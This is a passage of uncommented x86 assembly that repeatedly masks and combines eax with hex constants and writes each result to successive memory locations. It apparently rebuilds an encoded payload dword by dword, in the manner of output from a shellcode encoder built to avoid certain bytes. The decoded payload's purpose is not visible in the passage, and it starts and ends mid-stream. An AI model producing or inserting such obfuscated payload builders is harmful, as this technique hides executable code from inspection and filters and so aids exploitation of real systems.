add ebx, ecx
or eax, 0x7312c3f3
and eax, 0x731ff09c
and eax, 0x13008098
or eax, 0x80890d43
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3fe85556
and eax, 0x2f61ccd0
or eax, 0x40122020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4113bb37
and eax, 0x41110030
or eax, 0x80804049
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe167236
and eax, 0xc803120a
or eax, 0x3078c080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26f1d722
xor eax, 0x2164c7be
and eax, 0xc3841004
or eax, 0x64c8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x574551c3
and eax, 0x56517c70
and eax, 0x10410000
or eax, 0x3b693e3
mov dword [ebx], eax
add ebx, ecx
and eax, 0x725eebd2
and eax, 0x120002c2
or eax, 0x65884835
mov dword [ebx], eax
add ebx, ecx
or eax, 0x15e32be5
and eax, 0x62822951
or eax, 0x49408
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x65442eb3
xor eax, 0x68a325ff
and eax, 0x6a011011
or eax, 0x10080148
mov dword [ebx], eax
add ebx, ecx
or eax, 0x474f1fe0
and eax, 0x35698cf7
and eax, 0x1090840
or eax, 0x4a26c30c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x52406c4f
and eax, 0x2e43357d
and eax, 0x40
or eax, 0x76d393
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x51bfe07e
and eax, 0x4cfd2ebe
and eax, 0x40c800ac
or eax, 0xa4364850
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5980d3da
and eax, 0x11441102
or eax, 0x42002089
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ec07cd2
or eax, 0xcac78f1
and eax, 0x45a43060
or eax, 0xa2028202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7467cf4
and eax, 0x6042060
or eax, 0x88690519
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7904cd41
and eax, 0x8040101
or eax, 0x67fbf21a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c448562
xor eax, 0x13f6342a
and eax, 0x1fa02520
or eax, 0x900c4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68b9767e
and eax, 0x8802424
or eax, 0x6212c808
mov dword [ebx], eax
add ebx, ecx
or eax, 0x59fd2f24
and eax, 0x6292cd0c
or eax, 0x800000c3
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38d4a076
and eax, 0xc80209b1
or eax, 0x24389044
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4802d6d6
and eax, 0x8029010
or eax, 0x26842b28
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41c5fb9e
and eax, 0x4ba08
or eax, 0x151a4063
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5c938721
and eax, 0x7673f847
and eax, 0x40003802
or eax, 0x97a486a5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6ffbb83a
and eax, 0x20410419
or eax, 0x1201020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4d26723
and eax, 0x4913108
or eax, 0xc0048061
mov dword [ebx], eax
add ebx, ecx
or eax, 0x77e4376
or eax, 0x75d2819f
and eax, 0x70773283
or eax, 0x800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5439e9b1
or eax, 0x2d3374a7
and eax, 0x29339380
or eax, 0x12000048
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe98ea3f
and eax, 0x201f99fc
and eax, 0
or eax, 0xad0c5e36
mov dword [ebx], eax
add ebx, ecx
and eax, 0x65658a91
and eax, 0x25040010
or eax, 0xc8d3d18e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x160cb546
and eax, 0x95b44c8
or eax, 0x4201027
mov dword [ebx], eax
add ebx, ecx
and eax, 0x53ddd76b
xor eax, 0x14664620
and eax, 0x53c1009
or eax, 0xeac0e034
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2342de2c
and eax, 0x2000402c
or eax, 0x58182fd0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x454a7d36
and eax, 0x80800
or eax, 0x8af71248
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x751da3dd
and eax, 0x75c03184
or eax, 0x5402a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x19eb21d4
and eax, 0x5de9100c
or eax, 0x80108801
mov dword [ebx], eax
add ebx, ecx
and eax, 0x221b4d4
and eax, 0x18004
or eax, 0x684a0448
mov dword [ebx], eax
add ebx, ecx
or eax, 0x419cb286
and eax, 0x2bda8e8
and eax, 0x1d0000
or eax, 0xfb620831
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7d91eb55
and eax, 0x800
or eax, 0x448368a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x37d08d3d
and eax, 0x4000400
or eax, 0x910c5176
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e4a443c
and eax, 0xb461102
or eax, 0x394205
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f685982
and eax, 0x74060201
or eax, 0x8e8d02a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e0b4772
and eax, 0x18020020
or eax, 0xc34131c9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x18463589
and eax, 0xd00420a8
or eax, 0x20184804
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5219aba0
xor eax, 0x60600681
and eax, 0x10782c01
or eax, 0x4302c1c8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x37fdc464
and eax, 0x1384440
or eax, 0xa4010b9f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7bb4b264
and eax, 0x30328f49
and eax, 0x20300200
or eax, 0x460f1411
mov dword [ebx], eax
add ebx, ecx
or eax, 0x16267771
and eax, 0x62220111
or eax, 0x8000004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68574673
or eax, 0x657bf173
and eax, 0x49103173
or eax, 0x88
mov dword [ebx], eax
add ebx, ecx
or eax, 0x33ff3cab
and eax, 0x221481d9
and eax, 0x22040110
or eax, 0x90c34620
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e93e8a1
xor eax, 0x34d61a02
and eax, 0x20808592
or eax, 0x45710060
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3112d776
and eax, 0x34c20710
or eax, 0x8a0c0009
mov dword [ebx], eax
add ebx, ecx
and eax, 0x637e8a10
and eax, 0x2460200
or eax, 0x80b0dca6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f2adc8b
and eax, 0x4e521e9a
and eax, 0x4100000
or eax, 0xf32e3066
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e2aafc
and eax, 0x24a4903c
or eax, 0x8004501
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f6fb609
or eax, 0x3011ac17
and eax, 0x13034414
or eax, 0x44241040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5fdc5fed
and eax, 0xee615f1
or eax, 0xa0000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3919c65f
and eax, 0x739fd477
and eax, 0x21055050
or eax, 0x4c002088
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34dd965a
or eax, 0xf415767
and eax, 0x840a079
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5dcb747c
xor eax, 0x53736fa4
and eax, 0x6080a58
or eax, 0x20022406
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a3eb115
xor eax, 0x44d76d44
and eax, 0x4261c213
or eax, 0x1122180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4685de4b
or eax, 0x39f538f5
and eax, 0x24d23164
or eax, 0xc208c202
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6bb55885
and eax, 0x844ca2e2
or eax, 0x50101410
mov dword [ebx], eax
add ebx, ecx
and eax, 0x78787bf6
and eax, 0x1012a118
and eax, 0x10000010
or eax, 0x860e49a5
mov dword [ebx], eax
add ebx, ecx
and eax, 0x77f26445
and eax, 0x76253e7a
and eax, 0x14000000
or eax, 0x681fe3c4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ec13bd7
xor eax, 0x58122e4e
and eax, 0x120482
or eax, 0xa280041
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56c4a10c
and eax, 0x4c9aa0ca
or eax, 0xa0011a20
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4fceaf6f
or eax, 0x284c7641
and eax, 0x680a5260
or eax, 0x2310194
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7eaf89c0
and eax, 0x220a0040
or eax, 0x95d0ea09
mov dword [ebx], eax
add ebx, ecx
or eax, 0x211166ec
or eax, 0x75b44f9d
and eax, 0x66264139
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x58999edf
and eax, 0x40000009
or eax, 0x171a7906
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x547a8484
and eax, 0x1209880
or eax, 0xb0150020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b64a043
and eax, 0xa850a8c0
or eax, 0x20618
mov dword [ebx], eax
add ebx, ecx
and eax, 0xfab273c
and eax, 0x22218
or eax, 0x95794026
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6fd57205
and eax, 0x110004
or eax, 0x22869003
mov dword [ebx], eax
add ebx, ecx
or eax, 0x598317c8
and eax, 0x3f277d66
and eax, 0xb070146
or eax, 0x8450aa98
mov dword [ebx], eax
add ebx, ecx
and eax, 0x603570e
and eax, 0x3020c
or eax, 0xc8cc5cc0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2cc614fb
and eax, 0x40084205
or eax, 0x1a623000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x19227fa9
and eax, 0x18201000
or eax, 0x61410d6e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x10a6c47e
and eax, 0x2144c100
or eax, 0x8208060e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x73e5cc2
xor eax, 0x2fba2e5e
and eax, 0x20042854
or eax, 0x510814a3
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xf3e2c8e
and eax, 0x6a201069
or eax, 0x48100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b9cf754
and eax, 0x40086218
or eax, 0x36060880
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x516c0da0
or eax, 0x183de1
and eax, 0x4780c78
or eax, 0x80840006
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2bb90cd5
and eax, 0x200804
or eax, 0x9143f388
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e1e982f
and eax, 0xa5c0a23
or eax, 0x20000040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b12c0d0
and eax, 0x6e4d3603
and eax, 0x2000000
or eax, 0x8efee6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x24a7846
or eax, 0x41dc7cad
and eax, 0x104b824
or eax, 0xae220050
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49073e72
or eax, 0x1fd47c12
and eax, 0x400050
or eax, 0x2021010c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x769b6d72
and eax, 0x20010050
or eax, 0x4285a8c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x594ee030
xor eax, 0x65752783
and eax, 0x25314411
or eax, 0xa020040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x633f16e0
and eax, 0x21220400
or eax, 0x884509c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x144e9d6c
xor eax, 0x6e921378
and eax, 0x5178d200
or eax, 0x2c040443
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2adadf8e
and eax, 0x7a7e4843
or eax, 0x2020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x145433d2
and eax, 0x27aafa06
and eax, 0x2000
or eax, 0xfbc1d8d1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e8a8c0c
or eax, 0x4780bb19
and eax, 0x5c803309
or eax, 0xa07b40a2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x793c5541
and eax, 0x25ec62a0
or eax, 0x8014
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ca797bf
xor eax, 0x23a0445c
and eax, 0xe4e3201
or eax, 0x30480c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5c1d65ab
and eax, 0x12767982
or eax, 0x80008050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43c71e88
or eax, 0x5dd86f3
and eax, 0x10490761
or eax, 0x2a021000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7abd160a
and eax, 0x2a081200
or eax, 0x56402a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x710b8db1
and eax, 0x20000000
or eax, 0x4614f056
mov dword [ebx], eax
add ebx, ecx
and eax, 0x460b4936
or eax, 0x77636467
and eax, 0x6022442
or eax, 0x88889200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x353682c2
and eax, 0xb2882480
or eax, 0x4443ca45
mov dword [ebx], eax
add ebx, ecx
or eax, 0x171a9f12
and eax, 0x7037c3a2
and eax, 0x40000382
or eax, 0x8f883459
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2a5c1908
or eax, 0xdaabc85
and eax, 0xec5e8495
or eax, 0x2000028
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a336e2c
xor eax, 0x10d2b0b
and eax, 0x30f27
or eax, 0x94e0c058
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6396033f
xor eax, 0x1c3adb5f
and eax, 0xe3480420
or eax, 0x14204958
mov dword [ebx], eax
add ebx, ecx
and eax, 0x70fafbc0
and eax, 0x3929f559
and eax, 0x20000040
or eax, 0xcac2b687
mov dword [ebx], eax
add ebx, ecx
or eax, 0xf62d2f6
and eax, 0x89a02457
or eax, 0x10050100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6141aa29
and eax, 0x60008b42
or eax, 0x31b0001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6bcca5ed
and eax, 0x960e0e
or eax, 0xa620c051
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x20521840
and eax, 0x6ad174c9
and eax, 0xc05400
or eax, 0x251cab34
mov dword [ebx], eax
add ebx, ecx
or eax, 0x666e6a16
and eax, 0x1186f16
or eax, 0x8010041
mov dword [ebx], eax
add ebx, ecx
and eax, 0x314808bb
and eax, 0x1000001
or eax, 0x3a9706e0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9b95ec9
and eax, 0x122a5020
or eax, 0xcc800207
mov dword [ebx], eax
add ebx, ecx
or eax, 0x47b5c2f
and eax, 0x748a547f
and eax, 0x80000e
or eax, 0x20302850
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7fe933d4
and eax, 0x16c12f12
and eax, 0
or eax, 0x7909c08c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27dad9c5
and eax, 0x3fd91f38
and eax, 0x26980900
or eax, 0x8002e081
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4def2519
and eax, 0x2b500018
or eax, 0x148a1347
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74811211
xor eax, 0x37a789f0
and eax, 0x1058941
or eax, 0x20804408
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1993ed54
xor eax, 0x195fcf27
and eax, 0x20080050
or eax, 0x9a201105
mov dword [ebx], eax
add ebx, ecx
or eax, 0x20b9e2a9
and eax, 0x6b299246
and eax, 0x22000204
or eax, 0x90c2042b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59a6fba6
xor eax, 0x4c8e224f
and eax, 0x85800682
or eax, 0x10142010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c515c25
xor eax, 0xb5fdc5e
and eax, 0x5098a4c0
or eax, 0x4041006
mov dword [ebx], eax
add ebx, ecx
or eax, 0x230d2462
xor eax, 0x8f51e6
and eax, 0x35124400
or eax, 0x8e41226
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2db4c258
and eax, 0x1000806c
or eax, 0xe9814280
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1415f30d
and eax, 0x1d379b79
and eax, 0x10008008
or eax, 0xcf985841
mov dword [ebx], eax
add ebx, ecx
and eax, 0x36ca809e
and eax, 0x107dea3e
and eax, 8
or eax, 0xe2861485
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x307b8b1e
and eax, 0x50211682
or eax, 0x28004024
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5716fbf2
and eax, 0x5200
or eax, 0xe468141
mov dword [ebx], eax
add ebx, ecx
or eax, 0x603fd53c
and eax, 0x482d857d
or eax, 0x90802000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xde934c9
xor eax, 0x71387946
and eax, 0xa428a880
or eax, 0x41021004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e033c2f
or eax, 0x1de84e58
and eax, 0x9ae9b0c6
or eax, 0x100
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe6348e8
and eax, 0x200000
or eax, 0xe50c4c3a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x77e715de
and eax, 0x2b15acb5
and eax, 0x22000c24
or eax, 0x4412b20b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x628ecb3e
and eax, 0x2028a0a
or eax, 0x188c7040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2524c3eb
xor eax, 0x5f8e5954
and eax, 0x202022bf
or eax, 0x41a4c40
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x650ca35f
and eax, 0x198b39e6
and eax, 0x20800
or eax, 0xdea41252
mov dword [ebx], eax
add ebx, ecx
or eax, 0x321f2a73
and eax, 0x78b62062
or eax, 0x408088
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74c678a4
and eax, 0xc62000
or eax, 0x8e104e1c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x533ea8ca
and eax, 0x6b422948
and eax, 0x9422848
or eax, 0x140dd1b5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47df9d34
xor eax, 0x36e780b8
and eax, 0x48638461
or eax, 0x81880b8e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x70b204a3
and eax, 0xb0588108
or eax, 0x22030b1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3e1fbed2
and eax, 0x3a03ae13
or eax, 0x41000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e563cf1
xor eax, 0x7498e551
and eax, 0x1c515a2
or eax, 0x86308848
mov dword [ebx], eax
add ebx, ecx
or eax, 0xa10415f
xor eax, 0x7603c31f
and eax, 0x61140840
or eax, 0x98103
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3a7191bc
and eax, 0
or eax, 0x582c087f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x266b9ad1
and eax, 0x10c307e0
and eax, 0x40
or eax, 0x48f1d8ac
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x76ebed9e
xor eax, 0x5c5b5891
and eax, 0x400d40
or eax, 0x14ac9014
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3fa64756
and eax, 0xe400c54
or eax, 0x401000a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60ef611c
or eax, 0x2d4fe571
and eax, 0xe3c0485
or eax, 0x10000002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6cbe8ca6
or eax, 0x6f1a59de
and eax, 0x662a5d4c
or eax, 0x10000021
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2a772bce
and eax, 0x2d8c4b52
and eax, 0x8080202
or eax, 0xf2328c1c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x16ffa9f3
and eax, 0x7de3d35a
and eax, 0x28c00348
or eax, 0x8222e423
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72d442bf
or eax, 0x3dc9e27f
and eax, 0x20804253
or eax, 0x40060d00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1cd1c3af
and eax, 0x40134216
or eax, 0x3002000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4805a299
and eax, 0x2100003
or eax, 0x24a91160
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d16c3f8
and eax, 0x6500b
or eax, 0x20500964
mov dword [ebx], eax
add ebx, ecx
or eax, 0x16e0a1c9
and eax, 0x28028f02
and eax, 0x8000
or eax, 0x5c5004f0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x11b6dd02
and eax, 0x10100000
or eax, 0x27c36a2e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x19caa862
and eax, 0x1822000
or eax, 0x2e09c3c5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c0e498d
and eax, 0x40840a00
or eax, 0x30584133
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15a043f8
and eax, 0x444c0808
or eax, 0xa027624
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79a39c34
and eax, 0x20c24
or eax, 0x21b1431b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74968640
and eax, 0x4a3ba96b
and eax, 0x20896a
or eax, 0x91c04284
mov dword [ebx], eax
add ebx, ecx
or eax, 0x576a64b7
xor eax, 0x25747921
and eax, 0x72869414
or eax, 0xc006101
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6eaea356
and eax, 0x328c5a31
and eax, 0x22041001
or eax, 0x8442016c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4b06cf0f
and eax, 0x2446150e
or eax, 0x10092010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x114501af
and eax, 0x9a6e64d
and eax, 0x2400
or eax, 0xc46559f0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x79ee3f8e
and eax, 0x4f6ff5
and eax, 0xa0244
or eax, 0x6e341982
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55b3f5c6
and eax, 0x601bc0c3
and eax, 0x2008c000
or eax, 0xe9401a1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f8e0285
and eax, 0x4bf9b8af
and eax, 0x8024
or eax, 0x1e682711
mov dword [ebx], eax
add ebx, ecx
or eax, 0x526d78f5
and eax, 0x50405424
or eax, 0x20100002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x70ebe8f0
or eax, 0xb0fbc72
and eax, 0x19594e0
or eax, 0xe4400101
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1fdbb82f
and eax, 0x6a080dc0
or eax, 0x5105200
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc45a596
or eax, 0x7ae36e19
and eax, 0x56822281
or eax, 0x89046
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d2fb801
and eax, 0x2ca0dfbc
and eax, 0x8808080
or eax, 0xe346450b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5be3e907
xor eax, 0x6fa810b5
and eax, 0x890010
or eax, 0x200202c2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5710c5fc
and eax, 0x7598012c
or eax, 0x884018d0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15e0cce1
and eax, 0x44000c0
or eax, 0x830a016
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b1e3f88
or eax, 0x77189ea2
and eax, 0x515a8930
or eax, 0x8016001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4bfc510f
and eax, 0x7024b175
and eax, 0
or eax, 0x1c4e7eca
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6cb69ed1
or eax, 0x78d99dda
and eax, 0x7c4a18d8
or eax, 0x2002004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c89e383
or eax, 0x519b0c46
and eax, 0x50108f1d
or eax, 0xa0040020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4542de8e
and eax, 0x69fae641
and eax, 0x20404000
or eax, 0x90811020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ad5e181
or eax, 0x36d5e67f
and eax, 0x214c630
or eax, 0x2a0180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6966829a
and eax, 0x42000500
or eax, 0x94a50090
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b9694e8
and eax, 0xc8311140
or eax, 0x8c2402
mov dword [ebx], eax
add ebx, ecx
or eax, 0x63db638d
and eax, 0xe87b3288
or eax, 0x10008020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4ced724d
or eax, 0x19b9f648
and eax, 0x10b290c1
or eax, 0x2000110
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3d0335cc
and eax, 0x21100
or eax, 0x74da81d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x44113245
and eax, 0x275c1b1c
and eax, 0x1c0810
or eax, 0x180184c4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x373b8c0
and eax, 0x8800
or eax, 0x81287001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x463b86a7
and eax, 0x2003202
or eax, 0x30400049
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b00c7c3
and eax, 0x1140d2c2
or eax, 0x4090814
mov dword [ebx], eax
add ebx, ecx
and eax, 0x18e39634
or eax, 0x1207bfb5
and eax, 0x10452d01
or eax, 0x24004042
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ef6855c
and eax, 0xbb3e53
and eax, 0x132000
or eax, 0x8844002c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x562325ae
and eax, 0x199ee497
and eax, 0x20004
or eax, 0x31d8aa9
mov dword [ebx], eax
add ebx, ecx
or eax, 0xf1b5b0c
and eax, 0x1015921
or eax, 0x70e02450
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e5513a4
and eax, 0x60311804
or eax, 0x80000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ef27e89
and eax, 0x1e4a2409
or eax, 0xe0001910
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xceb1930
and eax, 0x12def21d
and eax, 0x2800009
or eax, 0xec430984
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27df58ae
and eax, 0xc69a480d
or eax, 0x10208400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xda86091
and eax, 0x58122094
or eax, 0x4645141
mov dword [ebx], eax
add ebx, ecx
and eax, 0xa8c5934
and eax, 0x8004100
or eax, 0xc63b06cb
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x720ba8a6
and eax, 0xc264
or eax, 0x42861012
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7766b544
and eax, 0x31a06420
or eax, 0xc81f9041
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x93d0790
or eax, 0x9dfeaa5
and eax, 0x79d9a955
or eax, 0x4000008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x414b22f
and eax, 0xc893264
or eax, 0x82224480
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d898fe
and eax, 0x89b9ce5e
or eax, 0x40040100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6267c6b7
and eax, 0xb4cc949
or eax, 0x1000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e4f6ca2
and eax, 0x40185e9
or eax, 0x2700810
mov dword [ebx], eax
add ebx, ecx
or eax, 0x22eb94f5
and eax, 0x24498594
or eax, 0x50046002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x43c9bcf8
or eax, 0x2135182d
and eax, 0x2014842c
or eax, 0x96020200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x78b42215
or eax, 0x3f65786c
and eax, 0x1f712a04
or eax, 0x800012
mov dword [ebx], eax
add ebx, ecx
and eax, 0x25e4284c
xor eax, 0x3813db96
and eax, 0x10b2d382
or eax, 0x208080d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x36d13b46
and eax, 0x2442e088
or eax, 0x59941606
mov dword [ebx], eax
add ebx, ecx
and eax, 0xabc0b8a
and eax, 0x10020a
or eax, 0xf1629425
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43c4432f
xor eax, 0x445fae61
and eax, 0xe4e81021
or eax, 0x48488
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4be199e5
and eax, 0x506fd21e
and eax, 0x40448008
or eax, 0x3a800cf0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1c55d8f9
and eax, 0x6695c831
or eax, 0x81222102
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x25b656c1
xor eax, 0x7424be39
and eax, 0x800400c3
or eax, 0xd27220
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78640043
xor eax, 0x3dce881c
and eax, 0x4430c226
or eax, 0x2010000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x67eae75e
xor eax, 0x193d08ff
and eax, 0x4810c8b8
or eax, 0xa0e00406
mov dword [ebx], eax
add ebx, ecx
and eax, 0x55f32430
or eax, 0x1642bfd4
and eax, 0x46702f90
or eax, 0x880c000b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31fc7ca3
or eax, 0x9de10fd
and eax, 0xfb8274bc
or eax, 0x18000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x57cb65d8
or eax, 0x636b31bc
and eax, 0xaa3d58c
or eax, 0x100a03
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x721d8b75
and eax, 0xa20432
or eax, 0x8100a004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5e1d5d12
and eax, 0x9ab68024
or eax, 0x200002d1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5749fd07
and eax, 0x76ceee62
and eax, 0x60ca6a42
or eax, 0x8320911d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6eb94f60
and eax, 0x40080140
or eax, 0x99473485
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6dc50819
and eax, 0xf6786bf
and eax, 0x442009d
or eax, 0x2888302
